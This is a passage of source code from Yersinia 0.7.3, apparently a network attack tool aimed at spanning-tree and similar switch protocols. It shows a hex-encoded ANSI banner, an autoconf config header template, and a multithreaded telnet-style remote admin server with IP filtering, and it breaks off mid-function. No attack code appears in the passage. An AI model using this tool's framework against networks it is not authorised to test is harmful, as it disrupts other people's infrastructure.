,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33 ,0x30,0x6D,0xB2,0xDB,0x1B,0x5B,0x30,0x3B,0x33,0x34,0x6D,0x20,0x20,0x1B,0x5B ,0x33,0x37,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x31,0x3B,0x33,0x31 ,0x6D,0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,0x77,0x77,0x77,0x2E,0x79,0x65,0x72 ,0x73,0x69,0x6E,0x69,0x61,0x2E,0x6E,0x65,0x74,0x20,0x20,0x20,0x20,0x20,0x1B ,0x5B,0x30,0x3B,0x33,0x37,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x33 ,0x34,0x6D,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20,0x20,0x0D,0x0A ,0x1B,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x33 ,0x30,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0xDB,0xB2,0x1B,0x5B,0x35,0x3B,0x33 ,0x34,0x6D,0xB0,0xB2,0xB2,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x36,0x6D,0xDB ,0xDB,0xB1,0xB1,0xB1,0x1B,0x5B,0x33,0x34,0x6D,0xB2,0xB2,0xB1,0xB1,0xB1,0xB1 ,0xB2,0xB2,0xB2,0x1B,0x5B,0x33,0x36,0x6D,0xDB,0xDB,0xDB,0x1B,0x5B,0x35,0x3B ,0x33,0x34,0x6D,0xB2,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xDB,0xB2 ,0x1B,0x5B,0x30,0x3B,0x33,0x34,0x6D,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20 ,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x33,0x31,0x6D,0x20,0x20,0x20,0x20,0x79 ,0x65,0x72,0x73,0x69,0x6E,0x69,0x61,0x40,0x79,0x65,0x72,0x73,0x69,0x6E,0x69 ,0x61,0x2E,0x6E,0x65,0x74,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20,0x1B ,0x5B,0x33,0x37,0x6D,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43 ,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0xDB,0xB2,0xB2,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB0,0xB2,0x1B ,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x36,0x6D,0xDB,0xDB,0xB1,0xB1,0xB1,0x1B,0x5B ,0x33,0x34,0x6D,0xB2,0xB2,0xB2,0xB1,0xB2,0xB2,0xB2,0x1B,0x5B,0x33,0x36,0x6D ,0xDB,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB2,0xB0,0x1B,0x5B,0x30,0x3B ,0x31,0x3B,0x33,0x30,0x6D,0xDB,0xDB,0x1B,0x5B,0x30,0x3B,0x33,0x34,0x6D,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B ,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37 ,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0xB2,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB2 ,0xB0,0xB2,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x36,0x6D,0xDB,0xB1 ,0xB1,0xB1,0x1B,0x5B,0x33,0x34,0x6D,0xB2,0xB2,0xB2,0xB2,0x1B,0x5B,0x33,0x36 ,0x6D,0xB1,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB2,0xB0,0x1B,0x5B,0x30 ,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xDB,0xB2,0xB2,0x1B,0x5B,0x30,0x3B,0x33,0x34 ,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B ,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0xB2,0xDB,0xB2,0xB2,0xDB,0x1B,0x5B,0x35 ,0x3B,0x33,0x34,0x6D,0xB0,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x36 ,0x6D,0xDB,0xDB,0xDB,0xDB,0xDB,0xB1,0xDB,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34 ,0x6D,0xB0,0xB2,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xB2,0xB2,0xB2 ,0x1B,0x5B,0x30,0x3B,0x33,0x37,0x6D,0x20,0x20,0x20,0x1B,0x5B,0x31,0x3B,0x33 ,0x31,0x6D,0x20,0x1B,0x5B,0x30,0x3B,0x33,0x37,0x6D,0x20,0x1B,0x5B,0x31,0x3B ,0x33,0x34,0x6D,0x50,0x72,0x75,0x6E,0x65,0x20,0x79,0x6F,0x75,0x72,0x20,0x4D ,0x53,0x54,0x50,0x2C,0x20,0x52,0x53,0x54,0x50,0x2C,0x20,0x53,0x54,0x50,0x20 ,0x74,0x72,0x65,0x65,0x73,0x21,0x21,0x21,0x21,0x1B,0x5B,0x30,0x3B,0x33,0x37 ,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B ,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x30,0x3B,0x33 ,0x34,0x6D,0x20,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0xB2,0xB2,0xDB,0x1B,0x5B ,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB0,0xB2,0xB2,0xB2,0xB0,0xB0,0xB2,0xB0,0xB0 ,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xDB,0xB2,0xB2,0x20,0x20,0x1B ,0x5B,0x30,0x3B,0x33,0x37,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B ,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x30,0x6D,0x1A}; /* end binary data. size = 2696 bytes */ #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/config.h.in0000644000175000017500000001611512234207266013770 0ustar nknk/* src/config.h.in. Generated from configure.in by autoheader. */ /* Define if building universal (internal helper macro) */ #undef AC_APPLE_UNIVERSAL_BUILD /* Darwin System */ #undef DARWIN /* always defined to indicate that i18n is enabled */ #undef ENABLE_NLS /* FreeBSD System */ #undef FREEBSD /* Gettext package. */ #undef GETTEXT_PACKAGE /* curses supported */ #undef HAS_CURSES /* Define to 1 if you have the `bind_textdomain_codeset' function. */ #undef HAVE_BIND_TEXTDOMAIN_CODESET /* Do we have BPF device support? */ #undef HAVE_BPF /* Define to 1 if you have the header file. */ #undef HAVE_BSTRING_H /* Define to 1 if you have the `calloc_r' function. */ #undef HAVE_CALLOC_R /* Define to 1 if you have the `ctime_r' function. */ #undef HAVE_CTIME_R /* Define to 1 if you have the `dcgettext' function. */ #undef HAVE_DCGETTEXT /* Define to 1 if you have the `free_r' function. */ #undef HAVE_FREE_R /* Define if the GNU gettext() function is already present or preinstalled. */ #undef HAVE_GETTEXT /* have glibc strerror_r */ #undef HAVE_GLIBC_STRERROR_R /* gtk interface support */ #undef HAVE_GTK /* Define to 1 if you have the header file. */ #undef HAVE_INTTYPES_H /* Define if your file defines LC_MESSAGES. */ #undef HAVE_LC_MESSAGES /* Define to 1 if you have the `c_r' library (-lc_r). */ #undef HAVE_LIBC_R /* Define to 1 if you have the `nsl' library (-lnsl). */ #undef HAVE_LIBNSL /* Define to 1 if you have the `pthread' library (-lpthread). */ #undef HAVE_LIBPTHREAD /* Define to 1 if you have the `pthreads' library (-lpthreads). */ #undef HAVE_LIBPTHREADS /* Define to 1 if you have the `resolv' library (-lresolv). */ #undef HAVE_LIBRESOLV /* Define to 1 if you have the `rt' library (-lrt). */ #undef HAVE_LIBRT /* Define to 1 if you have the `socket' library (-lsocket). */ #undef HAVE_LIBSOCKET /* Define to 1 if you have the header file. */ #undef HAVE_LOCALE_H /* Define to 1 if you have the `malloc_r' function. */ #undef HAVE_MALLOC_R /* Define to 1 if you have the `memcpy' function. */ #undef HAVE_MEMCPY /* Define to 1 if you have the header file. */ #undef HAVE_MEMORY_H /* Define to 1 if you have the `memset' function. */ #undef HAVE_MEMSET /* Define to 1 if you have the `nanosleep' function. */ #undef HAVE_NANOSLEEP /* Define to 1 if have resizeterm */ #undef HAVE_NCURSES_RESIZETERM /* Define to 1 if have use_default_colors */ #undef HAVE_NCURSES_USE_DEFAULTS_COLORS /* Define to 1 if have wresize */ #undef HAVE_NCURSES_WRESIZE /* Define to 1 if you have the header file. */ #undef HAVE_NETINET_IN_SYSTEM_H /* Define to 1 if you have the header file. */ #undef HAVE_NETINET_IN_SYSTM_H /* Define to 1 if you have the header file. */ #undef HAVE_NET_IF_H /* Define to 1 if you have the header file. */ #undef HAVE_PANEL_H /* pcap_dump_flush */ #undef HAVE_PCAP_DUMP_FLUSH /* Define to 1 if you have the header file. */ #undef HAVE_PTHREAD_H /* Define to 1 if you have the `pthread_setconcurrency' function. */ #undef HAVE_PTHREAD_SETCONCURRENCY /* Define to 1 if you have the `rand_r' function. */ #undef HAVE_RAND_R /* remote admin support */ #undef HAVE_REMOTE_ADMIN /* Define to 1 if you have the header file. */ #undef HAVE_SCHED_H /* Define to 1 if you have the header file. */ #undef HAVE_SEMAPHORE_H /* have sockaddr_sa_len */ #undef HAVE_SOCKADDR_SA_LEN /* Define to 1 if you have the header file. */ #undef HAVE_STDINT_H /* Define to 1 if you have the header file. */ #undef HAVE_STDLIB_H /* Define to 1 if you have the `strerror' function. */ #undef HAVE_STRERROR /* Define to 1 if you have the `strerror_r' function. */ #undef HAVE_STRERROR_R /* Define to 1 if you have the header file. */ #undef HAVE_STRINGS_H /* Define to 1 if you have the header file. */ #undef HAVE_STRING_H /* Define to 1 if you have the `strtok_r' function. */ #undef HAVE_STRTOK_R /* Define to 1 if you have the header file. */ #undef HAVE_SYS_IOCTL_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_PARAM_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_SCHED_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_SOCKIO_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_STAT_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_TIME_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_TYPES_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_WAIT_H /* Define to 1 if you have the header file. */ #undef HAVE_UNISTD_H /* HP-UX System */ #undef HPUX /* "Building date" */ #undef INFO_DATE /* "Kernel name" */ #undef INFO_KERN /* "Kernel version" */ #undef INFO_KERN_VER /* "Platform architecture" */ #undef INFO_PLATFORM /* if unaligned access fails */ #undef LBL_ALIGN /* Linux System */ #undef LINUX /* Linux 2.0 System */ #undef LINUX_20 /* Linux 2.1 System */ #undef LINUX_21 /* Linux 2.2 System */ #undef LINUX_22 /* Linux 2.3 System */ #undef LINUX_23 /* Linux 2.4 System */ #undef LINUX_24 /* Linux 2.5 System */ #undef LINUX_25 /* Linux 2.6 System */ #undef LINUX_26 /* ncurses version */ #undef NCURSES_970530 /* System need DoS timeout */ #undef NEED_USLEEP /* NetBSD System */ #undef NETBSD /* no color supported */ #undef NO_COLOR_CURSES /* OpenBSD System */ #undef OPENBSD /* Name of package */ #undef PACKAGE /* Define to the address where bug reports for this package should be sent. */ #undef PACKAGE_BUGREPORT /* Define to the full name of this package. */ #undef PACKAGE_NAME /* Define to the full name and version of this package. */ #undef PACKAGE_STRING /* Define to the one symbol short name of this package. */ #undef PACKAGE_TARNAME /* Define to the home page for this package. */ #undef PACKAGE_URL /* Define to the version of this package. */ #undef PACKAGE_VERSION /* pthread need testcancel */ #undef PTHREAD_NEED_TESTCANCEL /* SCO code */ #undef SCO_FLAVOR /* Solaris System */ #undef SOLARIS /* Solaris 2.51 System */ #undef SOLARIS_251 /* Solaris 2.6 System */ #undef SOLARIS_26 /* Solaris 2.7 System */ #undef SOLARIS_27 /* Solaris 2.8 System */ #undef SOLARIS_28 /* Solaris 2.9 System */ #undef SOLARIS_29 /* Define to 1 if you have the ANSI C header files. */ #undef STDC_HEADERS /* strange bsd byte */ #undef STRANGE_BSD_BYTE /* Define to 1 if you can safely include both and . */ #undef TIME_WITH_SYS_TIME /* BSD curses */ #undef USE_BSD_CURSES /* ncurses */ #undef USE_NCURSES /* SunOS curses */ #undef USE_SUNOS_CURSES /* SysV curses */ #undef USE_SYSV_CURSES /* Version number of package */ #undef VERSION /* Define WORDS_BIGENDIAN to 1 if your processor stores words with the most significant byte first (like Motorola and SPARC, unlike Intel). */ #if defined AC_APPLE_UNIVERSAL_BUILD # if defined __BIG_ENDIAN__ # define WORDS_BIGENDIAN 1 # endif #else # ifndef WORDS_BIGENDIAN # undef WORDS_BIGENDIAN # endif #endif yersinia-0.7.3/src/admin.c0000644000175000017500000007661012234207266013207 0ustar nknk/* admin.c * Network server thread * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: admin.c 43 2007-04-27 11:07:17Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #ifdef HAVE_SYS_TYPES_H #include #endif #ifdef HAVE_INTTYPES_H #include #endif #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #include #include #ifdef SOLARIS #include #include #else #ifdef HAVE_PTHREAD_H #include #endif #endif #include "admin.h" int8_t admin_init(struct term_tty *node) { if (thread_create(&terms->admin_listen_th.id, &admin_th_listen, (void *)node) < 0) return -1; return 0; } /* * Thread that listen for peers connections. * Spawn a thread per peer... */ void * admin_th_listen(void *arg) { struct sockaddr *cliaddr=NULL; struct sockaddr_in server_address; struct timeval timeout; struct filter *ip_filter; struct term_tty *node; int32_t sock=0, sock2, on=1,n,ret; socklen_t clilen; pthread_t tid; sigset_t mask; fd_set read_set; write_log(0,"\n admin_th_network_listen es %d\n",(int)pthread_self()); pthread_mutex_lock(&terms->admin_listen_th.finished); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("th_listener pthread_sigmask()",errno); admin_th_listen_exit(NULL,0); } node = (struct term_tty *)arg; ip_filter = (struct filter *)node->ip_filter; if ( (sock = socket(AF_INET, SOCK_STREAM, 0)) == -1 ) { n=errno; thread_error("Error on socket()",n); admin_th_listen_exit(NULL,0); } if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char *)&on,sizeof(on)) < 0) { n=errno; thread_error("Error on setsockopt(SO_REUSEADDR)",n); admin_th_listen_exit(NULL,sock); } #ifdef SO_REUSEPORT on=1; if (setsockopt(sock, SOL_SOCKET, SO_REUSEPORT, (char *) &on, sizeof (on)) < 0) { n=errno; thread_error("Error on setsockopt(SO_REUSEPORT)",n); admin_th_listen_exit(NULL,sock); } #endif on=1; if (setsockopt (sock, IPPROTO_TCP, TCP_NODELAY, (char *) &on, sizeof (on)) < 0) { n=errno; thread_error("Error on setsockopt(TCP_NODELAY)",n); admin_th_listen_exit(NULL,sock); } server_address.sin_family = AF_INET; server_address.sin_port = htons(node->port); server_address.sin_addr.s_addr = htonl(INADDR_ANY); if ( bind( sock, (struct sockaddr *)&server_address, sizeof(server_address) ) == -1 ) { n=errno; thread_error("Error on bind()",n); admin_th_listen_exit(NULL,sock); } if (listen(sock,5) == -1) { n=errno; thread_error("Error on listen",n); admin_th_listen_exit(NULL,sock); } cliaddr=(struct sockaddr *)malloc(sizeof(struct sockaddr)); if (cliaddr == NULL) { n=errno; thread_error("malloc()",n); admin_th_listen_exit(NULL,sock); } while(!terms->admin_listen_th.stop) { FD_ZERO(&read_set); FD_SET(sock,&read_set); timeout.tv_sec = 0; timeout.tv_usec= 250000; if ((ret = select(sock+1, &read_set, NULL, NULL, &timeout)) == -1) { n=errno; thread_error("admin_listen select()",n); break; } if (ret) { struct in_addr *ip_addr; clilen=sizeof(struct sockaddr); if ( (sock2 = accept( sock, cliaddr, (socklen_t *)&clilen)) == -1) { n=errno; thread_error("Error on accept",n); admin_th_listen_exit(cliaddr,sock); } ip_addr = (struct in_addr *)&cliaddr->sa_data[2]; if (admin_filter_ip((u_int32_t *)&ip_addr->s_addr,ip_filter) < 0) { write_log(0,"\n Connection refused for %s!!\n", inet_ntoa(*ip_addr)); close(sock2); } else { write_log(0,"\n Connection accepted for %s\n", inet_ntoa(*ip_addr)); if (pthread_create(&tid, NULL, &admin_th_network_peer, (void *)sock2) < 0) { n=errno; thread_error("pthread_create admin_th_listen",n); admin_th_listen_exit(cliaddr,sock); } } } } admin_th_listen_exit(cliaddr, sock); pthread_exit(NULL); } int8_t admin_filter_ip(u_int32_t *ip_addr, struct filter *ip_filter) { struct filter *cursor; u_int32_t ipaddr; cursor = ip_filter; if (!cursor) return 0; ipaddr = ntohl((*ip_addr)); while(cursor) { if ( ( ipaddr >= cursor->begin) && ( ipaddr <= cursor->end) ) { write_log(0,"IP Matched between %08X and %08X...\n",cursor->begin, cursor->end); return 0; } cursor = cursor->next; } return -1; } /* * We arrived here due to normal termination * from thread listener main routine... * Release resources and delete all acquired network terminals... */ void admin_th_listen_exit(struct sockaddr *cliaddr, int32_t sock) { if (cliaddr) thread_free_r(cliaddr); term_delete_all_vty(); if (sock) close(sock); terms->admin_listen_th.id = 0; if (!terms->admin_listen_th.stop) { /* Tell parent that we are going to die... */ fatal_error--; } pthread_mutex_unlock(&terms->admin_listen_th.finished); pthread_exit(NULL); } /* * Thread to communicate with peer */ void * admin_th_network_peer(void *sock) { int16_t n, bytes, i, fail, quantum; int32_t ret; socklen_t len; u_char buf[MAX_LINE+2]; time_t this_time; fd_set read_set; struct sockaddr_in name; struct timeval timeout; struct term_vty *vty; struct term_node *term_node=NULL; memset(buf, 0, MAX_LINE+2); write_log(0,"vty peer %d mutex_lock terms \n",pthread_self()); if (pthread_mutex_lock(&terms->mutex) != 0) thread_error("th_network_peer pthread_mutex_lock",errno); fail = term_add_node(&term_node, TERM_VTY, (int)sock, pthread_self()); if (fail == -1) { if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_network_peer pthread_mutex_unlock",errno); admin_th_network_peer_exit(term_node, (int32_t)sock); } if (term_node == NULL) { write_log(0,"Ouch!! No more than %d %s accepted!!\n", term_type[TERM_VTY].max, term_type[TERM_VTY].name); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_network_peer pthread_mutex_unlock",errno); admin_th_network_peer_exit(term_node, (int32_t)sock); } pthread_mutex_lock(&term_node->thread.finished); vty = term_node->specific; this_time = time(NULL); #ifdef HAVE_CTIME_R #ifdef SOLARIS ctime_r(&this_time,term_node->since, sizeof(term_node->since)); #else ctime_r(&this_time, term_node->since); #endif #else pthread_mutex_lock(&mutex_ctime); strncpy(term_node->since, ctime(&this_time), sizeof(term_node->since)); pthread_mutex_unlock(&mutex_ctime); #endif /* Just to remove the cr+lf...*/ term_node->since[sizeof(term_node->since)-2] = 0; len = sizeof(struct sockaddr); if ( getpeername(vty->sock, (struct sockaddr *)&name, &len) < 0) { thread_error("getpeername",errno); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_vty_peer pthread_mutex_unlock",errno); admin_th_network_peer_exit(term_node, (int32_t)sock); } if (init_attribs(term_node) < 0) { if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_vty_peer pthread_mutex_unlock",errno); admin_th_network_peer_exit(term_node, (int32_t)sock); } term_node->from_port = ntohs(name.sin_port); strncpy(term_node->from_ip,inet_ntoa(name.sin_addr), sizeof(term_node->from_ip)); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_network_peer pthread_mutex_unlock",errno); write_log(0,"vty peer %d mutex_unlock terms \n",pthread_self()); fail = 0; fail = term_vty_banner(term_node); if (!fail) fail = term_vty_negotiate(term_node); if (!fail) fail = term_vty_prompt(term_node); if (!fail) fail = term_vty_flush(term_node); vty->authing = 0; timeout.tv_sec = 0; timeout.tv_usec = 0; quantum = 0; FD_ZERO(&read_set); while(!fail && !term_node->thread.stop) { FD_SET(vty->sock, &read_set); if ( (ret=select( vty->sock+1, &read_set, NULL, NULL, &timeout ) ) == -1 ) { n=errno; thread_error("admin_th_network_peer select()",n); timeout.tv_sec = 0; timeout.tv_usec = 250000; continue; } if ( !ret ) /* Timeout, decrement timers... */ { if (quantum%4) /* 1 sec...*/ { quantum=0; if ( (term_node->timeout--) == 0 ) { write_log(0," Timer-> Cancelling %s%d th_id(%d)...\n", term_type[TERM_VTY].name, term_node->number, (int)term_node->thread.id); term_write(term_node, VTY_TIMEOUT_BANNER, sizeof(VTY_TIMEOUT_BANNER)); fail = 1; /* Die...*/ } } else quantum++; } else { bytes = read (vty->sock, buf, MAX_LINE); if (!vty->authing) /* Update timeout...*/ term_node->timeout = term_states[term_node->state].timeout; if (bytes <= 0) break; for (i=0; (i < bytes) && !fail; i++) { if (vty->sbmode) { switch(buf[i]) { case COM_IAC: vty->iacmode=1; continue; break; case COM_WILL: case COM_WONT: case COM_DO: case COM_DONT: vty->othermode=1; continue; break; /* Suboption End...*/ case COM_SE: vty->sbmode=0; vty->iacmode=0; continue; break; case OPT_WSIZE: vty->nwsmode=1; continue; default: if (vty->nwsmode) { if (vty->term_size_index > 3) { vty->nwsmode=0; vty->iacmode=0; continue; } vty->term_size[vty->term_size_index]=buf[i]; if (vty->term_size_index == 3) { vty->width = ntohs(*((u_int16_t *)vty->term_size)); vty->height = ntohs(*((u_int16_t *)&vty->term_size[2])); if (vty->width < MIN_TERM_WIDTH ) vty->width = MIN_TERM_WIDTH; if (vty->width > MAX_TERM_WIDTH) vty->width = MAX_TERM_WIDTH; if (vty->height < MIN_TERM_HEIGHT) vty->height = MIN_TERM_HEIGHT; if (vty->height > MAX_TERM_HEIGHT) vty->height = MAX_TERM_HEIGHT; memset(vty->term_size,0,4); vty->term_size_index=0; vty->nwsmode=0; vty->iacmode=0; continue; } vty->term_size_index++; } vty->iacmode=0; continue; } } if (buf[i] == COM_IAC) { vty->iacmode=1; continue; } if (vty->iacmode) { vty->iacmode=0; switch(buf[i]) { case COM_SB: vty->sbmode=1; continue; break; case COM_WILL: case COM_WONT: case COM_DO: case COM_DONT: default: vty->othermode=1; continue; break; } continue; } if (vty->othermode) { vty->othermode=0; continue; } /* Are we in 'more' mode? */ if (buf[i] && vty->moremode) { /* Clearing...*/ if (buf[i]=='q' || buf[i]=='Q' || buf[i]==CTRL_C ) { thread_free_r(vty->buffer_tx); vty->buffer_tx = NULL; vty->more_tx = NULL; vty->buffer_tx_len = 0; vty->more_tx_len = 0; vty->moremode = 0; term_vty_clear_line(term_node,strlen(VTY_MORE)); fail=term_vty_prompt(term_node); if (!fail) fail=term_vty_flush(term_node); } else { if (buf[i] == SPACE) fail = term_vty_flush(term_node); /* Ok, flush it...*/ if (!vty->moremode) { if (!fail) fail=term_vty_flush(term_node); } } continue; } /* ESC options begin...*/ if (buf[i] == ESC1) { vty->escmode = ESC1; continue; } if ( (vty->escmode == ESC1) && (buf[i] == ESC2)) { vty->escmode = ESC2; continue; } if ( (vty->escmode == ESC2) && (buf[i]==ESC3) ) { vty->escmode =ESC3; continue; } if (vty->escmode == ESC2) { if (!vty->authing) { switch(buf[i]) { case TKEY_SUPR: fail=term_vty_supr(term_node); break; case TKEY_INIT: fail=term_vty_mv_cursor_init(term_node); if (!fail) fail = term_vty_flush(term_node); break; case TKEY_END: fail=term_vty_mv_cursor_end(term_node); if (!fail) fail = term_vty_flush(term_node); break; case TKEY_UP: if (term_states[term_node->state].key_cursor) fail=term_vty_history_prev(term_node); break; case TKEY_DOWN: if (term_states[term_node->state].key_cursor) fail=term_vty_history_next(term_node); break; case TKEY_RIGHT: fail=term_vty_mv_cursor_right(term_node); break; case TKEY_LEFT: fail=term_vty_mv_cursor_left(term_node); break; } vty->escmode=0; continue; } } if ( (vty->escmode == ESC3) && (buf[i]==INSERT) ) { vty->insertmode=!vty->insertmode; vty->escmode=0; continue; } /* Arrived here, not escape or telnet charac...*/ switch(buf[i]) { case '\n':continue; case '\r': fail = term_vty_do_command(term_node); if (!fail && !vty->moremode) { if (vty->clearmode) vty->clearmode=0; else fail = term_vty_write(term_node, "\r\n", 2); if (!fail) fail = term_vty_prompt(term_node); if (!fail) fail = term_vty_flush(term_node); } continue; break; case '\t': if (term_states[term_node->state].key_able && !vty->authing) { fail = term_vty_write(term_node,"\r\n",2); if (!fail) fail = term_vty_complete_command(term_node); if (!fail) fail = term_vty_prompt(term_node); if (!fail && vty->repeat_command) fail=term_vty_write(term_node, vty->buf_command, vty->command_len); if (!fail) fail = term_vty_flush(term_node); if (!vty->repeat_command) term_vty_clear_command(term_node); vty->repeat_command=0; continue; } break; case '?': if (term_states[term_node->state].key_help && !vty->authing) { fail = term_vty_write(term_node,"\r\n",2); if (!fail) fail = term_vty_help(term_node); if (!fail) fail = term_vty_prompt(term_node); if (!fail && vty->repeat_command) fail=term_vty_write(term_node, vty->buf_command, vty->command_len); if (!fail) fail = term_vty_flush(term_node); if (!vty->repeat_command) term_vty_clear_command(term_node); vty->repeat_command=0; continue; } break; case BACKSPACE: case BACKSPACE_WIN: fail = term_vty_backspace(term_node); if (!fail) fail = term_vty_flush(term_node); continue; break; case CTRL_C: if (term_states[term_node->state].key_able && !vty->authing) { if (term_node->state == PARAMS_STATE) { fail = term_vty_exit(term_node); if (fail) continue; } fail = term_vty_write(term_node,"\r\n",2); if (!fail) fail = term_vty_prompt(term_node); if (!fail) fail = term_vty_flush(term_node); if (!fail) term_vty_clear_command(term_node); } continue; break; case CTRL_L: if (term_states[term_node->state].key_able && !vty->authing) { fail= term_vty_clear_screen(term_node); if (!fail) fail=term_vty_prompt(term_node); if (!fail) fail=term_vty_write(term_node, vty->buf_command, vty->command_len); if (!fail) fail=term_vty_flush(term_node); vty->clearmode=0; } continue; break; case CTRL_D: fail= term_vty_exit(term_node); if (!fail) fail=term_vty_write(term_node,"\r\n",2); if (!fail) fail=term_vty_prompt(term_node); if (!fail) fail=term_vty_flush(term_node); if (!fail) term_vty_clear_command(term_node); continue; break; case CTRL_U: if (term_states[term_node->state].key_able && !vty->authing) { fail=term_vty_clear_remote(term_node); if (!fail) fail=term_vty_flush(term_node); if (!fail) term_vty_clear_command(term_node); } continue; break; } /* Ok, add to command buff...*/ if (buf[i]>31 && buf[i]<123 && !fail) { if (vty->insertmode) /* Terminal in mode INSERT...*/ { if (vty->command_len == MAX_COMMAND) { fail=term_vty_write(term_node,"\x7",1); if (!fail) fail=term_vty_flush(term_node); } else { if (vty->command_len == vty->command_cursor) { vty->buf_command[vty->command_cursor]=buf[i]; if (term_states[term_node->state].do_echo && !vty->authing) { fail = 